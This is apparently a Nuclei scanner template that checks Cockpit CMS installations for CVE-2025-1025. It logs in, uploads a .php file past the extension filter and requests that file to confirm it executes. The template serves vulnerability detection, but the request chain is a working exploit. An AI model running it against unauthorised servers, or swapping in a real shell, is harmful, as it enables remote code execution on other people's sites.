Cockpit < 2.4.1 - Arbitrary File Upload

id: CVE-2025-1025

info:
  name: Cockpit < 2.4.1 - Arbitrary File Upload
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.
  impact: |
    Attackers can bypass file upload filters to upload malicious PHP files, leading to remote code execution and complete compromise of the Cockpit CMS installation.
  remediation: |
    Upgrade to Cockpit version 2.4.1 or later that properly validates file extensions.
  reference:
    - https://github.com/advisories/GHSA-wp68-xrfg-xvq4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1025
  classification:
    epss-score: 0.176
    epss-percentile: 0.96777
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-1025
    cwe-id: CWE-434
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Cockpit"
  tags: cve,cve2025,cockpit,file-upload,rce,intrusive,vuln

flow: http(1) && http(2) && http(3)

variables:
  username: "{{username}}"
  password: "{{password}}"
  marker: "{{randstr_1}}"

http:
  - raw:
      - |
        GET /auth/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /auth/check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"auth":{"user":"{{username}}","password":"{{password}}"},"csrf":"{{csrf}}"}

    matchers:
      - type: word
        part: body
        words:
          - 'success":true'
          - '"role":'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        part: body
        regex:
          - 'csrf : "(.*?)"'
        internal: true

  - raw:
      - |
        POST /assets/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lKO5LogRxX0YStI

        ------WebKitFormBoundary3lKO5LogRxX0YStI
        Content-Disposition: form-data; name="folder"


        ------WebKitFormBoundary3lKO5LogRxX0YStI
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
        Content-Type: text/php

        <?php echo base64_decode($_GET["q"]);?>
        ------WebKitFormBoundary3lKO5LogRxX0YStI--

    matchers:
      - type: word
        part: body
        words:
          - '"uploaded":["{{randstr}}.php"]'
        internal: true

    extractors:
      - type: json
        name: upload_path
        part: body
        json:
          - '.assets[0].path'
        internal: true

  - raw:
      - |
        GET /storage/uploads/{{upload_path}}?q={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'
# digest: 4a0a00473045022100e5938cb95f586c12e06bc281a67a9e256553b06a1425a4ce7295ba2be2ea3bcf0220282a3858fa6b3360c9d112f359d930a7f503125ccd4ddbef6ce4202ff77e7087:922c64590222798bb761d5b6d8e72950